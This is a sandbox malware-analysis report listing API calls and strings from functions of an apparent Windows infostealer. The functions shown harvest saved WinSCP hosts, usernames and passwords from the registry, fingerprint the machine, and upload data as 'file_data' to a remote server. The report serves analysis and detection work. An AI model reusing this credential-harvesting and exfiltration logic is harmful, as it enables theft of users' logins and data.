Part of subcall function 002FF850: lstrcpy.KERNEL32(00000000), ref: 002FF878

Part of subcall function 002F3D70: ??_U@YAPAXI@Z.MSVCRT(00000400,?,00000001), ref: 002F3DA2
Part of subcall function 002F3D70: ??_U@YAPAXI@Z.MSVCRT(00000400,00000400,?,00000001), ref: 002F3DAF
Part of subcall function 002F3D70: ??_U@YAPAXI@Z.MSVCRT(00000400,00000400,00000400,?,00000001), ref: 002F3DBC
Part of subcall function 002F3D70: lstrlen.KERNEL32(00000000,00000000,0000003C,?,00000001), ref: 002F3DD6
Part of subcall function 002F3D70: InternetCrackUrlA.WININET(00000000,00000000,?,00000001), ref: 002F3DE6

lstrlen.KERNEL32(00000000), ref: 002F4641

Part of subcall function 00300DF0: CryptBinaryToStringA.CRYPT32(?,?,40000001,00000000,?,00000000,00000000,?,?,002F4635,?,?,?,?,?,?), ref: 00300E14
Part of subcall function 00300DF0: GetProcessHeap.KERNEL32(00000000,?,?,002F4635,?,?,?,?,?,?), ref: 00300E23
Part of subcall function 00300DF0: RtlAllocateHeap.NTDLL(00000000), ref: 00300E2A

StrCmpCA.SHLWAPI(?,02F43058,003101E9,003101E9,003101E9,003101E9), ref: 002F46A6
InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 002F46CC
InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 002F47B0
HttpOpenRequestA.WININET(00000000,02F431B8,?,02F45FE0,00000000,00000000,?,00000000), ref: 002F47ED
InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 002F4812

Part of subcall function 002FF8F0: lstrcpy.KERNEL32(00000000), ref: 002FF930

Part of subcall function 002FF9A0: lstrlen.KERNEL32(00000000,?,?,00000000,?,002F4732,?,------,?,?,?,--,00000000,?,00000000), ref: 002FF9B9
Part of subcall function 002FF9A0: lstrcpy.KERNEL32(00000000,?), ref: 002FF9E1
Part of subcall function 002FF9A0: lstrcat.KERNEL32(?,00000000), ref: 002FF9EB

Part of subcall function 002FF940: lstrcpy.KERNEL32(00000000,?), ref: 002FF981
Part of subcall function 002FF940: lstrcat.KERNEL32(00000000), ref: 002FF98D

lstrlen.KERNEL32(00000000,00000000,?,",00000000,?,file_data,00000000,?,02F34F90,00000000,?,00313358,00000000,?,?), ref: 002F4C21
lstrlen.KERNEL32(00000000), ref: 002F4C33
GetProcessHeap.KERNEL32(00000000,00000000), ref: 002F4C45
RtlAllocateHeap.NTDLL(00000000), ref: 002F4C4C
lstrlen.KERNEL32(00000000), ref: 002F4C5E
memcpy.MSVCRT(?,00000000,00000000), ref: 002F4C72
lstrlen.KERNEL32(00000000,?,?), ref: 002F4C8B
memcpy.MSVCRT(?), ref: 002F4C95
lstrlen.KERNEL32(00000000), ref: 002F4CA6
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 002F4CBF
memcpy.MSVCRT(?), ref: 002F4CCC
lstrlen.KERNEL32(00000000,?,00000000), ref: 002F4CE2
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 002F4CF3
HttpQueryInfoA.WININET(00000000,00000013,?,?,00000000), ref: 002F4D1A
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 002F4D5F
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 002F4DB3
StrCmpCA.SHLWAPI(00000000,block), ref: 002F4DCB
ExitProcess.KERNEL32 ref: 002F4DD6
InternetCloseHandle.WININET(00000000), ref: 002F4DE7

Strings

block, xrefs: 002F4DBD
build_id, xrefs: 002F49B1
------, xrefs: 002F4818, 002F4929, 002F4A3A, 002F4B4B
file_data, xrefs: 002F4BD4
ERROR, xrefs: 002F4D27
--, xrefs: 002F4710
------, xrefs: 002F4721
", xrefs: 002F48C4, 002F49D3, 002F4AE6, 002F4BF6

Memory Dump Source

Source File: 00000000.00000002.2693911043.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2693873375.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000320000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000324000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000328000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000406000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000040C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000417000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000458000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000045F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000466000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000051A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000533000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694396727.0000000000535000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694425266.0000000000537000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$Heap$HttpProcessmemcpy$AllocateFileOpenReadRequestlstrcat$BinaryCloseConnectCrackCryptExitHandleInfoOptionQuerySendString
String ID: ------$"$--$------$ERROR$block$build_id$file_data
API String ID: 3957834146-1063948816
Opcode ID: 31a61a2bdf007dd3141a65a2a2df3fbce073c759bae66213772e7dfd84d56491
Instruction ID: 00717d2d775413aa9c03d13362bb2bc07e599fd953edfd4c864573a7615fe65a
Opcode Fuzzy Hash: 31a61a2bdf007dd3141a65a2a2df3fbce073c759bae66213772e7dfd84d56491
Instruction Fuzzy Hash: DC421D72C2010DAEDB55EBA0DD92DFEB778AF14780F508139F61262291DF306A59CF64

Function 002FE3C0 Relevance: 58.1, APIs: 19, Strings: 14, Instructions: 384
registrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 002FE3E4
memset.MSVCRT ref: 002FE3FE
memset.MSVCRT ref: 002FE40C
memset.MSVCRT ref: 002FE41A
RegOpenKeyExA.KERNEL32(80000001,Software\Martin Prikryl\WinSCP 2\Configuration,00000000,00000001,?), ref: 002FE442
RegGetValueA.ADVAPI32(?,Security,UseMasterPassword,00000010,00000000,?,?), ref: 002FE467
RegCloseKey.ADVAPI32(?), ref: 002FE475

Part of subcall function 002FF9A0: lstrlen.KERNEL32(00000000,?,?,00000000,?,002F4732,?,------,?,?,?,--,00000000,?,00000000), ref: 002FF9B9
Part of subcall function 002FF9A0: lstrcpy.KERNEL32(00000000,?), ref: 002FF9E1
Part of subcall function 002FF9A0: lstrcat.KERNEL32(?,00000000), ref: 002FF9EB

Part of subcall function 002FF8F0: lstrcpy.KERNEL32(00000000), ref: 002FF930

RegCloseKey.ADVAPI32(?), ref: 002FE4AF
RegOpenKeyExA.ADVAPI32(80000001,Software\Martin Prikryl\WinSCP 2\Sessions,00000000,00000009,?), ref: 002FE4C9
RegEnumKeyExA.ADVAPI32(?,00000000,?,00000104,00000000,00000000,00000000,00000000), ref: 002FE4E7
RegCloseKey.ADVAPI32(?), ref: 002FE4FD
RegGetValueA.ADVAPI32(?,?,HostName,00000002,00000000,?,?,00000000,?,Host: ,00000000,?,Soft: WinSCP,003101E9), ref: 002FE58A
RegGetValueA.ADVAPI32(?,?,PortNumber,0000FFFF,00000000,?,?,00000000,?,?), ref: 002FE5D5
RegGetValueA.ADVAPI32(?,?,UserName,00000002,00000000,?,?,00000000,?,Login: ,00000000,?,:22), ref: 002FE682
RegGetValueA.ADVAPI32(?,?,Password,00000002,00000000,?,?,00000000,?,00313408,00000000,?,?), ref: 002FE6F4
StrCmpCA.SHLWAPI(?,003101E9,00000000,?,Password: ), ref: 002FE724
RegEnumKeyExA.ADVAPI32(?,?,?,00000104,00000000,00000000,00000000,00000000,00000000,?,00313684), ref: 002FE7D7
lstrlen.KERNEL32(00000000), ref: 002FE7F1
RegCloseKey.ADVAPI32(?), ref: 002FE848

Part of subcall function 002FDD90: GetProcessHeap.KERNEL32(00000008,?), ref: 002FDDD8
Part of subcall function 002FDD90: RtlAllocateHeap.NTDLL(00000000), ref: 002FDDDF
Part of subcall function 002FDD90: GetProcessHeap.KERNEL32(00000000,?), ref: 002FDDF4
Part of subcall function 002FDD90: HeapFree.KERNEL32(00000000), ref: 002FDDFB

Strings

passwords.txt, xrefs: 002FE806
UseMasterPassword, xrefs: 002FE45C
PortNumber, xrefs: 002FE5C1
Login: , xrefs: 002FE63C
Host: , xrefs: 002FE544
UserName, xrefs: 002FE675
Software\Martin Prikryl\WinSCP 2\Sessions, xrefs: 002FE4BF
Password, xrefs: 002FE6E7
Software\Martin Prikryl\WinSCP 2\Configuration, xrefs: 002FE42F
Security, xrefs: 002FE461
Password: , xrefs: 002FE6F6
HostName, xrefs: 002FE57D
:22, xrefs: 002FE614
Soft: WinSCP, xrefs: 002FE522

Memory Dump Source

Source File: 00000000.00000002.2693911043.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2693873375.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000320000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000324000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000328000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000406000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000040C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000417000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000458000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000045F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000466000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000051A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000533000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694396727.0000000000535000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694425266.0000000000537000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Value$CloseHeapmemset$EnumOpenProcesslstrcpylstrlen$AllocateFreelstrcat
String ID: Login: $:22$Host: $HostName$Password$Password: $PortNumber$Security$Soft: WinSCP$Software\Martin Prikryl\WinSCP 2\Configuration$Software\Martin Prikryl\WinSCP 2\Sessions$UseMasterPassword$UserName$passwords.txt
API String ID: 751369145-2798830873
Opcode ID: cebd77955f700822d8f9b3d7bcae12cd42b8346600569c43c545751e3317898e
Instruction ID: 5fb92e3f843c759de9eda4583ae96d81005ee0380f0fdc11af46ba99084fd814
Opcode Fuzzy Hash: cebd77955f700822d8f9b3d7bcae12cd42b8346600569c43c545751e3317898e
Instruction Fuzzy Hash: 85D13DB292021DAEDB15EBA0CD91EFEB37CAF54780F404579F605A2191EB706B58CF60

Function 003044B0 Relevance: 48.1, APIs: 2, Strings: 25, Instructions: 834
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 002FF810: lstrcpy.KERNEL32(00000000,00000001), ref: 002FF839

Part of subcall function 002FF9A0: lstrlen.KERNEL32(00000000,?,?,00000000,?,002F4732,?,------,?,?,?,--,00000000,?,00000000), ref: 002FF9B9
Part of subcall function 002FF9A0: lstrcpy.KERNEL32(00000000,?), ref: 002FF9E1
Part of subcall function 002FF9A0: lstrcat.KERNEL32(?,00000000), ref: 002FF9EB

Part of subcall function 002FF8F0: lstrcpy.KERNEL32(00000000), ref: 002FF930

Part of subcall function 002FFB60: GetProcessHeap.KERNEL32(00000000,00000104), ref: 002FFB6E
Part of subcall function 002FFB60: RtlAllocateHeap.NTDLL(00000000), ref: 002FFB75
Part of subcall function 002FFB60: GetLocalTime.KERNEL32(?), ref: 002FFB81
Part of subcall function 002FFB60: wsprintfA.USER32 ref: 002FFBAD

Part of subcall function 00300340: memset.MSVCRT ref: 00300365
Part of subcall function 00300340: RegOpenKeyExA.KERNEL32(80000002,SOFTWARE\Microsoft\Cryptography,00000000,00020119,?), ref: 00300382
Part of subcall function 00300340: RegQueryValueExA.KERNEL32(?,MachineGuid,00000000,00000000,00000000,000000FF), ref: 003003A4
Part of subcall function 00300340: RegCloseKey.ADVAPI32(?), ref: 003003AE
Part of subcall function 00300340: CharToOemA.USER32(00000000,?), ref: 003003C2

Part of subcall function 003003E0: GetCurrentHwProfileA.ADVAPI32(?), ref: 003003EB

Part of subcall function 002FF940: lstrcpy.KERNEL32(00000000,?), ref: 002FF981
Part of subcall function 002FF940: lstrcat.KERNEL32(00000000), ref: 002FF98D

Part of subcall function 00300420: GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 0030043C
Part of subcall function 00300420: GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00300475
Part of subcall function 00300420: GetProcessHeap.KERNEL32(00000000,00000104), ref: 003004BF
Part of subcall function 00300420: RtlAllocateHeap.NTDLL(00000000), ref: 003004C6

GetCurrentProcessId.KERNEL32(00000000,?,Path: ,00000000,?,00313684,00000000,?,00000000,00000000,003101E9), ref: 00304728

Part of subcall function 00301090: OpenProcess.KERNEL32(00000410,00000000,?), ref: 003010A5
Part of subcall function 00301090: K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 003010C0
Part of subcall function 00301090: CloseHandle.KERNEL32(00000000), ref: 003010C7

Part of subcall function 003005A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 003005B5
Part of subcall function 003005A0: RtlAllocateHeap.NTDLL(00000000), ref: 003005BC

Part of subcall function 00300900: CoInitializeEx.OLE32(00000000,00000000), ref: 00300928
Part of subcall function 00300900: CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 00300939
Part of subcall function 00300900: CoCreateInstance.COMBASE(003149C0,00000000,00000001,003148F0,?), ref: 00300953
Part of subcall function 00300900: CoSetProxyBlanket.COMBASE(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 0030098C
Part of subcall function 00300900: VariantInit.OLEAUT32(?), ref: 003009E3

Part of subcall function 002FFB20: GetProcessHeap.KERNEL32(00000000,00000104), ref: 002FFB2C
Part of subcall function 002FFB20: RtlAllocateHeap.NTDLL(00000000), ref: 002FFB33
Part of subcall function 002FFB20: GetComputerNameA.KERNEL32(00000000,?), ref: 002FFB47

Part of subcall function 002FFAE0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 002FFAEC
Part of subcall function 002FFAE0: RtlAllocateHeap.NTDLL(00000000), ref: 002FFAF3
Part of subcall function 002FFAE0: GetUserNameA.ADVAPI32(00000000,?), ref: 002FFB07

Part of subcall function 003002C0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00300300
Part of subcall function 003002C0: RtlAllocateHeap.NTDLL(00000000), ref: 00300307
Part of subcall function 003002C0: wsprintfA.USER32 ref: 00300317

Part of subcall function 002FFC30: GetKeyboardLayoutList.USER32(00000000,00000000,003101E9), ref: 002FFC4D
Part of subcall function 002FFC30: LocalAlloc.KERNEL32(00000040,00000000), ref: 002FFC5F
Part of subcall function 002FFC30: GetKeyboardLayoutList.USER32(00000000,00000000), ref: 002FFC69
Part of subcall function 002FFC30: GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 002FFC93
Part of subcall function 002FFC30: LocalFree.KERNEL32(00000000), ref: 002FFD16

Part of subcall function 002FFBC0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 002FFBD1
Part of subcall function 002FFBC0: RtlAllocateHeap.NTDLL(00000000), ref: 002FFBD8
Part of subcall function 002FFBC0: GetTimeZoneInformation.KERNEL32(?), ref: 002FFBE7
Part of subcall function 002FFBC0: wsprintfA.USER32 ref: 002FFC12

Part of subcall function 002FFD30: GetProcessHeap.KERNEL32(00000000,00000104), ref: 002FFD45
Part of subcall function 002FFD30: RtlAllocateHeap.NTDLL(00000000), ref: 002FFD4C
Part of subcall function 002FFD30: RegOpenKeyExA.KERNEL32(80000002,02F357B8,00000000,00020119,?), ref: 002FFD6B
Part of subcall function 002FFD30: RegQueryValueExA.KERNEL32(?,02F45660,00000000,00000000,00000000,000000FF), ref: 002FFD86
Part of subcall function 002FFD30: RegCloseKey.ADVAPI32(?), ref: 002FFD90

Part of subcall function 002FFDE0: GetLogicalProcessorInformationEx.KERNELBASE(0000FFFF,00000000,?), ref: 002FFE02
Part of subcall function 002FFDE0: GetLastError.KERNEL32 ref: 002FFE10
Part of subcall function 002FFDE0: GetLogicalProcessorInformationEx.KERNELBASE(0000FFFF,00000000,?), ref: 002FFE48
Part of subcall function 002FFDE0: wsprintfA.USER32 ref: 002FFE92

Part of subcall function 002FFDA0: GetSystemInfo.KERNEL32(?), ref: 002FFDAD
Part of subcall function 002FFDA0: wsprintfA.USER32 ref: 002FFDC3

Part of subcall function 002FFED0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 002FFEDE
Part of subcall function 002FFED0: RtlAllocateHeap.NTDLL(00000000), ref: 002FFEE5
Part of subcall function 002FFED0: GlobalMemoryStatusEx.KERNEL32(?,?,00000000,00000040), ref: 002FFF05
Part of subcall function 002FFED0: wsprintfA.USER32 ref: 002FFF2B

Part of subcall function 00300200: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,003101E9), ref: 00300228
Part of subcall function 00300200: Process32First.KERNEL32(00000000,00000128), ref: 00300238
Part of subcall function 00300200: Process32Next.KERNEL32(00000000,00000128), ref: 0030024A
Part of subcall function 00300200: Process32Next.KERNEL32(00000000,00000128), ref: 0030029E
Part of subcall function 00300200: CloseHandle.KERNEL32(00000000), ref: 003002A9

Part of subcall function 002FFFC0: RegOpenKeyExA.KERNEL32(?,02F3E7E8,00000000,00020019,?,003101E9), ref: 00300009

Part of subcall function 002FFFC0: RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000000,00000000,00000000,00000000,00000000), ref: 00300052
Part of subcall function 002FFFC0: wsprintfA.USER32 ref: 0030007C
Part of subcall function 002FFFC0: RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 0030009A
Part of subcall function 002FFFC0: RegQueryValueExA.KERNEL32(00000000,02F45198,00000000,000F003F,?,00000400), ref: 003000CA
Part of subcall function 002FFFC0: lstrlen.KERNEL32(?), ref: 003000DF
Part of subcall function 002FFFC0: RegQueryValueExA.KERNEL32(00000000,02F45348,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,00313408), ref: 00300156

lstrlen.KERNEL32(00000000,00000000,?,00313684,00000000,?,00000000,?,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00304F07

Part of subcall function 003042A0: Sleep.KERNEL32(000003E8,?,?,?,?,?), ref: 00304345
Part of subcall function 003042A0: CreateThread.KERNEL32(00000000,00000000,Function_000130F0,?,00000000,00000000), ref: 0030438D
Part of subcall function 003042A0: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 00304399

Strings

information.txt, xrefs: 00304F1C
MachineID: , xrefs: 003045B3
TimeZone: , xrefs: 00304B3B
AV: , xrefs: 003048A4
Path: , xrefs: 00304706
Display Resolution: , xrefs: 003049E8
Computer Name: , xrefs: 0030491A
[Software], xrefs: 00304E4C
Threads: , xrefs: 00304C92
Cores: , xrefs: 00304C2B
Work Dir: In memory, xrefs: 00304783
Local Time: , xrefs: 00304AD4
HWID: , xrefs: 00304690
RAM: , xrefs: 00304CF9
Install Date: , xrefs: 0030482E
GUID: , xrefs: 0030461A
Processor: , xrefs: 00304BC4
[Hardware], xrefs: 00304BA2
Windows: , xrefs: 003047C7
Version: , xrefs: 003044C3
User Name: , xrefs: 00304981
Date: , xrefs: 0030454C
[Processes], xrefs: 00304DD6
Keyboard Languages: , xrefs: 00304A5E
VideoCard: , xrefs: 00304D60

Memory Dump Source

Source File: 00000000.00000002.2693911043.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2693873375.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000320000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000324000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000328000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000406000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000040C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000417000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000458000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000045F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000466000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000051A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000533000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694396727.0000000000535000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694425266.0000000000537000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Heap$Process$Allocate$wsprintf$Open$CloseInformationQueryValuelstrcpy$CreateLocalNameProcess32lstrlen$CurrentHandleInfoInitializeKeyboardLayoutListLogicalNextProcessorTimelstrcat$AllocBlanketCharComputerDirectoryEnumErrorFileFirstFreeGlobalInitInstanceLastLocaleMemoryModuleObjectProfileProxySecuritySingleSleepSnapshotStatusSystemThreadToolhelp32UserVariantVolumeWaitWindowsZonememset
String ID: AV: $Computer Name: $Cores: $Date: $Display Resolution: $GUID: $HWID: $Install Date: $Keyboard Languages: $Local Time: $MachineID: $Path: $Processor: $RAM: $Threads: $TimeZone: $User Name: $Version: $VideoCard: $Windows: $Work Dir: In memory$[Hardware]$[Processes]$[Software]$information.txt
API String ID: 1720495592-1014693891
Opcode ID: 661066760e71eb0921f2ecd812e2a74e0a55fa76a54a067c4fec919248921aed
Instruction ID: 4323be8c634ef5c2a6c949ec318fd04890d0845ae3ff71736ca4b4c5f03c9a06
Opcode Fuzzy Hash: 661066760e71eb0921f2ecd812e2a74e0a55fa76a54a067c4fec919248921aed
Instruction Fuzzy Hash: EF626172C2010C6EDB49F7A0DA62DFEF3789E14780B604279E61271191EF717B59CE64

Function 002F5BB0 Relevance: 44.3, APIs: 21, Strings: 4, Instructions: 584
networkstringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 002FF850: lstrcpy.KERNEL32(00000000), ref: 002FF878

Part of subcall function 002F3D70: ??_U@YAPAXI@Z.MSVCRT(00000400,?,00000001), ref: 002F3DA2
Part of subcall function 002F3D70: ??_U@YAPAXI@Z.MSVCRT(00000400,00000400,?,00000001), ref: 002F3DAF
Part of subcall function 002F3D70: ??_U@YAPAXI@Z.MSVCRT(00000400,00000400,00000400,?,00000001), ref: 002F3DBC
Part of subcall function 002F3D70: lstrlen.KERNEL32(00000000,00000000,0000003C,?,00000001), ref: 002F3DD6
Part of subcall function 002F3D70: InternetCrackUrlA.WININET(00000000,00000000,?,00000001), ref: 002F3DE6

Part of subcall function 002FF810: lstrcpy.KERNEL32(00000000,00000001), ref: 002FF839

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 002F5C3C
StrCmpCA.SHLWAPI(?,02F43058), ref: 002F5C57
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 002F5D9D
HttpOpenRequestA.WININET(00000000,02F431B8,?,02F45FE0,00000000,00000000,-00400100,00000000), ref: 002F5DD9
lstrlen.KERNEL32(00000000,00000000,?,?,00000000,?,",00000000,?,mode,00000000,?,02F34F90,00000000,?,00313358), ref: 002F611D
lstrlen.KERNEL32(00000000), ref: 002F612E
GetProcessHeap.KERNEL32(00000000,00000000), ref: 002F6139
RtlAllocateHeap.NTDLL(00000000), ref: 002F6140
lstrlen.KERNEL32(00000000), ref: 002F6151
memcpy.MSVCRT(00000000,00000000,00000000), ref: 002F6162
lstrlen.KERNEL32(00000000), ref: 002F6173
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 002F618C
memcpy.MSVCRT(00000000), ref: 002F6195
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 002F61A8
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 002F61B9
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 002F61D0
InternetReadFile.WININET(00000000,00000000,000000C7,?), ref: 002F6225
InternetCloseHandle.WININET(00000000), ref: 002F6230
InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 002F5DFD

Part of subcall function 002FF8F0: lstrcpy.KERNEL32(00000000), ref: 002FF930

Part of subcall function 002FF9A0: lstrlen.KERNEL32(00000000,?,?,00000000,?,002F4732,?,------,?,?,?,--,00000000,?,00000000), ref: 002FF9B9
Part of subcall function 002FF9A0: lstrcpy.KERNEL32(00000000,?), ref: 002FF9E1
Part of subcall function 002FF9A0: lstrcat.KERNEL32(?,00000000), ref: 002FF9EB

Part of subcall function 002FF940: lstrcpy.KERNEL32(00000000,?), ref: 002FF981
Part of subcall function 002FF940: lstrcat.KERNEL32(00000000), ref: 002FF98D

InternetCloseHandle.WININET(00000000), ref: 002F623A
InternetCloseHandle.WININET(00000000), ref: 002F6247

Strings

build_id, xrefs: 002F5F9E
------, xrefs: 002F5CC2, 002F5E03, 002F5F15, 002F6027
mode, xrefs: 002F60AF
", xrefs: 002F5EB0, 002F5FC0, 002F60D1

Memory Dump Source

Source File: 00000000.00000002.2693911043.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2693873375.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000320000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000324000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000328000.00000040.00000001.01000000.00000003.sdmpDownload File
